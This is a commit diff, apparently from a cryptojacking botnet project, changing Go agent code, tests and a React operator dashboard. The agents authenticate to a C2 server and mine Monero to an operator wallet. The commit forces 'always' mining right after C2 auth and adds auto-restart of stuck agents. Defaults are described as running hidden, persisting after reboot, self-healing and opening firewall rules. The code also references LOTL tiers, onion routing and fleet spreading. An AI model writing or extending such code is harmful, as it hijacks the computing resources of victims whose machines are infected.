Start simple-deploy mining immediately after C2 auth.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Simple Deploy agents now kick the in-process chain right after WS connect with always mode and cpu_inprocess policy, recommended forge defaults mine immediately, and the fleet banner auto-restarts stuck agents once.
This commit is contained in:
@@ -149,7 +149,7 @@ func (c *AgentClient) Run() error {
|
||||
c.miningChain = c.newMiningChainRunner()
|
||||
if isSeeder {
|
||||
deploy.StartSeederStaging(c.cfg)
|
||||
} else if deploy.WantsDeferMining() || c.cfg.SimpleDeploy {
|
||||
} else if deploy.WantsDeferMining() {
|
||||
go c.startMiningWhenReady(chainCtx)
|
||||
} else {
|
||||
c.miningChain.Start(chainCtx)
|
||||
@@ -319,6 +319,7 @@ func (c *AgentClient) connectLoop(serverURL string) error {
|
||||
return err
|
||||
}
|
||||
c.connected.Store(true)
|
||||
c.kickMiningAfterAuth()
|
||||
defer c.connected.Store(false)
|
||||
|
||||
statsStop := make(chan struct{})
|
||||
@@ -428,7 +429,6 @@ func (c *AgentClient) authenticate() error {
|
||||
return fmt.Errorf("auth failed: %s", resp.Error)
|
||||
}
|
||||
c.applyAuthLotlPolicy(resp)
|
||||
c.kickMiningAfterAuth()
|
||||
c.startContingencyIfEnabled(c.miningCtx)
|
||||
c.applyAuthFleetRole(resp)
|
||||
deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
|
||||
@@ -1492,6 +1492,18 @@ func buildWSURL(serverURL string) (string, error) {
|
||||
|
||||
// kickMiningAfterAuth restarts the mining chain with server-pulled tier/onion policy.
|
||||
// Mining may have started before auth with forge defaults; auth applies Calibrate policy.
|
||||
func (c *AgentClient) forceSimpleDeployMiningMode() {
|
||||
if !c.cfg.SimpleDeploy {
|
||||
return
|
||||
}
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
switch strings.ToLower(strings.TrimSpace(c.cfg.MiningMode)) {
|
||||
case "idle", "scheduled", "":
|
||||
c.cfg.MiningMode = "always"
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) kickMiningAfterAuth() {
|
||||
if c.cfg.IsSeederRole(c.fleetRoleHint()) || c.cfg.MiningDisabled || c.cfg.ApkMode || c.cfg.ScoutMode {
|
||||
return
|
||||
@@ -1499,10 +1511,31 @@ func (c *AgentClient) kickMiningAfterAuth() {
|
||||
if c.miningCtx == nil || c.miningChain == nil {
|
||||
return
|
||||
}
|
||||
if !c.connected.Load() {
|
||||
return
|
||||
}
|
||||
go func() {
|
||||
c.miningChain.refreshTierOrchestrator()
|
||||
if c.cfg.SimpleDeploy || deploy.WantsDeferMining() {
|
||||
log.Printf("[mining] tier policy refreshed after auth (simple_deploy/defer)")
|
||||
if c.cfg.SimpleDeploy {
|
||||
c.forceSimpleDeployMiningMode()
|
||||
if strings.TrimSpace(c.cfg.Wallet) == "" {
|
||||
log.Printf("[mining] BLOCKED: wallet not configured — set Calibrate wallet and re-forge")
|
||||
}
|
||||
if strings.TrimSpace(c.cfg.PoolHost) == "" {
|
||||
log.Printf("[mining] BLOCKED: pool host not configured — set Calibrate pool and re-forge")
|
||||
}
|
||||
st := c.miningChain.Status()
|
||||
if st.ActiveMethod != "" || st.LOTLTier != "" {
|
||||
log.Printf("[mining] simple_deploy: restarting chain after auth with cpu_inprocess policy")
|
||||
c.miningChain.Restart(c.miningCtx)
|
||||
} else {
|
||||
log.Printf("[mining] simple_deploy: starting mining chain after auth")
|
||||
c.miningChain.Start(c.miningCtx)
|
||||
}
|
||||
return
|
||||
}
|
||||
if deploy.WantsDeferMining() {
|
||||
log.Printf("[mining] tier policy refreshed after auth (defer)")
|
||||
return
|
||||
}
|
||||
log.Printf("[mining] restarting chain after auth with server policy")
|
||||
|
||||
@@ -41,9 +41,9 @@ func (c *AgentClient) startMiningWhenReady(ctx context.Context) {
|
||||
log.Printf("[mining] disabled at forge (apk_mode=%v scout_mode=%v mining_disabled=%v)", c.cfg.ApkMode, c.cfg.ScoutMode, c.cfg.MiningDisabled)
|
||||
return
|
||||
}
|
||||
const maxWait = 120 * time.Second
|
||||
const maxWait = 30 * time.Second
|
||||
deadline := time.Now().Add(maxWait)
|
||||
ticker := time.NewTicker(5 * time.Second)
|
||||
ticker := time.NewTicker(1 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
tryStart := func(reason string) {
|
||||
|
||||
@@ -70,13 +70,36 @@ func TestSimpleDeployRefreshesAuthForceTier(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestKickMiningAfterAuthSkipsSimpleDeploy(t *testing.T) {
|
||||
func TestKickMiningAfterAuthStartsSimpleDeployWhenConnected(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.SimpleDeploy = true
|
||||
cfg.MinerExecution = "inprocess"
|
||||
c := miningChainTestClient(t, cfg)
|
||||
c.miningChain = newTestMiningChainRunner(t, c)
|
||||
c.miningCtx = context.Background()
|
||||
c.connected.Store(true)
|
||||
c.kickMiningAfterAuth()
|
||||
deadline := time.Now().Add(2 * time.Second)
|
||||
for c.cfg.MiningMode != "always" && time.Now().Before(deadline) {
|
||||
time.Sleep(25 * time.Millisecond)
|
||||
}
|
||||
if c.cfg.MiningMode != "always" {
|
||||
t.Fatalf("mining_mode=%q want always", c.cfg.MiningMode)
|
||||
}
|
||||
}
|
||||
|
||||
func TestKickMiningAfterAuthWaitsForC2OnSimpleDeploy(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.SimpleDeploy = true
|
||||
c := miningChainTestClient(t, cfg)
|
||||
c.miningChain = newTestMiningChainRunner(t, c)
|
||||
c.miningCtx = context.Background()
|
||||
// must not panic or restart when simple deploy
|
||||
c.connected.Store(false)
|
||||
c.kickMiningAfterAuth()
|
||||
time.Sleep(150 * time.Millisecond)
|
||||
if r := c.miningChain.Status(); r.ActiveMethod != "" {
|
||||
t.Fatalf("should not start mining before C2 connect, active=%q", r.ActiveMethod)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -806,6 +806,7 @@ func TestAgentNameUpdatesFromHostnameWhenDefault(t *testing.T) {
|
||||
// TestMiningStatusRelayCoalescedToStatsBatch verifies mining_status / mining_fallback
|
||||
// from agents are batched into a single stats_batch frame for dashboards.
|
||||
func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) {
|
||||
t.Parallel()
|
||||
resetWSAuthUsers(t, testAuthUser, testAuthPass)
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
@@ -829,7 +830,7 @@ func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) {
|
||||
}
|
||||
batchCh := make(chan batchResult, 1)
|
||||
go func() {
|
||||
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
||||
_ = dashConn.SetReadDeadline(time.Now().Add(15 * time.Second))
|
||||
for {
|
||||
var msg Message
|
||||
if err := dashConn.ReadJSON(&msg); err != nil {
|
||||
@@ -923,7 +924,7 @@ func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) {
|
||||
if byAgent[agentB]["active_method"] != "container" {
|
||||
t.Errorf("agent B active_method = %v", byAgent[agentB]["active_method"])
|
||||
}
|
||||
case <-time.After(2 * time.Second):
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("timed out waiting for stats_batch relay")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import { useEffect, useRef } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import type { Agent } from '../../types';
|
||||
import { agentsConnectedNotHashing, simpleDeployStatus } from '../../help/simpleDeploy';
|
||||
import { agentsConnectedNotHashing, simpleDeployCalibrateFix, simpleDeployStatus } from '../../help/simpleDeploy';
|
||||
import { api } from '../../api/client';
|
||||
|
||||
interface Props {
|
||||
@@ -9,9 +10,42 @@ interface Props {
|
||||
onAction?: (message: string) => void;
|
||||
}
|
||||
|
||||
const AUTO_RESTART_MS = 60_000;
|
||||
|
||||
/** Banner when agents are online but not hashing — with actionable fix buttons. */
|
||||
export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction }: Props) {
|
||||
const stuck = agentsConnectedNotHashing(agents);
|
||||
const firstSeenRef = useRef<Map<string, number>>(new Map());
|
||||
const autoRestartedRef = useRef<Set<string>>(new Set());
|
||||
|
||||
useEffect(() => {
|
||||
const now = Date.now();
|
||||
const stuckIds = new Set(stuck.map((a) => a.id));
|
||||
for (const id of [...firstSeenRef.current.keys()]) {
|
||||
if (!stuckIds.has(id)) firstSeenRef.current.delete(id);
|
||||
}
|
||||
for (const a of stuck) {
|
||||
if (!firstSeenRef.current.has(a.id)) firstSeenRef.current.set(a.id, now);
|
||||
}
|
||||
const due = stuck.filter((a) => {
|
||||
const t0 = firstSeenRef.current.get(a.id) ?? now;
|
||||
return now - t0 >= AUTO_RESTART_MS && !autoRestartedRef.current.has(a.id);
|
||||
});
|
||||
if (due.length === 0) return;
|
||||
for (const a of due) autoRestartedRef.current.add(a.id);
|
||||
void (async () => {
|
||||
try {
|
||||
const r = await api.sendBulkCommand(
|
||||
due.map((a) => a.id),
|
||||
'restart',
|
||||
);
|
||||
onAction?.(`Auto Restart mining (60s @ 0 H/s) → sent:${r.sent} failed:${r.failed}`);
|
||||
} catch (e) {
|
||||
onAction?.(`Auto Restart mining failed: ${e instanceof Error ? e.message : String(e)}`);
|
||||
}
|
||||
})();
|
||||
}, [stuck, onAction]);
|
||||
|
||||
if (stuck.length === 0) return null;
|
||||
|
||||
const targetIds =
|
||||
@@ -34,6 +68,7 @@ export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction
|
||||
|
||||
const sample = stuck[0];
|
||||
const status = simpleDeployStatus(sample);
|
||||
const calibrateFix = simpleDeployCalibrateFix(sample);
|
||||
|
||||
return (
|
||||
<div className="alert-banner alert-banner--warn connected-not-mining-banner" role="status">
|
||||
@@ -42,8 +77,8 @@ export default function ConnectedNotMiningBanner({ agents, selectedIds, onAction
|
||||
{stuck.length} agent{stuck.length === 1 ? '' : 's'} connected — not hashing
|
||||
</strong>
|
||||
<p className="form-hint" style={{ margin: '0.35rem 0 0' }}>
|
||||
{status.message}
|
||||
{sample.mining_block_reason && sample.mining_block_reason !== status.message
|
||||
{calibrateFix ?? status.message}
|
||||
{!calibrateFix && sample.mining_block_reason && sample.mining_block_reason !== status.message
|
||||
? ` — ${sample.mining_block_reason}`
|
||||
: ''}
|
||||
. "Deploy" here means C2 registration + mining tier probe — not lateral spread.
|
||||
|
||||
@@ -21,7 +21,7 @@ describe('forgeSmartDefaults', () => {
|
||||
expect(form.worker_name).toMatch(/^worker-/);
|
||||
expect(form.process_name).toBeTruthy();
|
||||
expect(form.server_url).toBe('http://10.0.0.2:8989');
|
||||
expect(form.mining_mode).toBe('idle');
|
||||
expect(form.mining_mode).toBe('always');
|
||||
});
|
||||
|
||||
it('fills backup C2 URLs from other LAN candidates', () => {
|
||||
|
||||
@@ -67,7 +67,7 @@ export function recommendedForgePreset(): Partial<BuildRequest> {
|
||||
...FORGE_BUILD_DEFAULTS,
|
||||
simple_deploy: true,
|
||||
miner_execution: 'inprocess',
|
||||
mining_mode: 'idle',
|
||||
mining_mode: 'always',
|
||||
idle_threshold_pct: 20,
|
||||
idle_duration_minutes: 5,
|
||||
thread_mode: 'percent',
|
||||
@@ -170,7 +170,7 @@ export function forgeDefaultsFromServerSmart(
|
||||
}
|
||||
|
||||
export const RECOMMENDED_DEFAULTS_BLURB =
|
||||
'Recommended for home LAN fleets: mines when the PC is idle (~75% cores), runs hidden, persists after reboot, self-heals, and opens firewall rules on the worker. Advanced options stay off unless you enable them.';
|
||||
'Recommended for home LAN fleets: mines immediately (~75% cores), runs hidden, persists after reboot, self-heals, and opens firewall rules on the worker. Advanced options stay off unless you enable them.';
|
||||
|
||||
export function isValidWorkerName(name: string): boolean {
|
||||
const t = name.trim();
|
||||
|
||||
@@ -3,6 +3,7 @@ import type { Agent } from '../types';
|
||||
import {
|
||||
agentsConnectedNotHashing,
|
||||
simpleDeployStatus,
|
||||
simpleDeployCalibrateFix,
|
||||
simpleMinePreset,
|
||||
} from './simpleDeploy';
|
||||
|
||||
@@ -54,6 +55,21 @@ describe('agentsConnectedNotHashing', () => {
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
describe('simpleDeployCalibrateFix', () => {
|
||||
it('requires wallet in Calibrate', () => {
|
||||
expect(simpleDeployCalibrateFix(agent({ wallet: '' }))).toMatch(/wallet/i);
|
||||
});
|
||||
|
||||
it('surfaces pool fix from mining_block_reason', () => {
|
||||
expect(
|
||||
simpleDeployCalibrateFix(
|
||||
agent({ wallet: '4abc', mining_block_reason: 'pool host not configured — set Calibrate pool' }),
|
||||
),
|
||||
).toMatch(/pool/i);
|
||||
});
|
||||
});
|
||||
|
||||
describe('simpleMinePreset', () => {
|
||||
it('disables spread and enables simple_deploy', () => {
|
||||
const p = simpleMinePreset();
|
||||
|
||||
@@ -10,6 +10,17 @@ export interface SimpleDeployStatus {
|
||||
hashrate?: number;
|
||||
}
|
||||
|
||||
/** Operator fix text when Calibrate is incomplete for mining. */
|
||||
export function simpleDeployCalibrateFix(agent: Agent): string | undefined {
|
||||
const wallet = agent.wallet?.trim();
|
||||
if (!wallet) return 'Set XMR wallet in Calibrate (Settings), then re-forge with Deploy & Mine.';
|
||||
const reason = agent.mining_block_reason?.toLowerCase() ?? '';
|
||||
if (reason.includes('pool host not configured') || reason.includes('pool not configured')) {
|
||||
return 'Set pool host/port in Calibrate, then re-forge with Deploy & Mine.';
|
||||
}
|
||||
return undefined;
|
||||
}
|
||||
|
||||
/** Human status for deploy→test→mine operator path. */
|
||||
export function simpleDeployStatus(agent: Agent): SimpleDeployStatus {
|
||||
if (agent.status !== 'online') {
|
||||
|
||||
Reference in New Issue
Block a user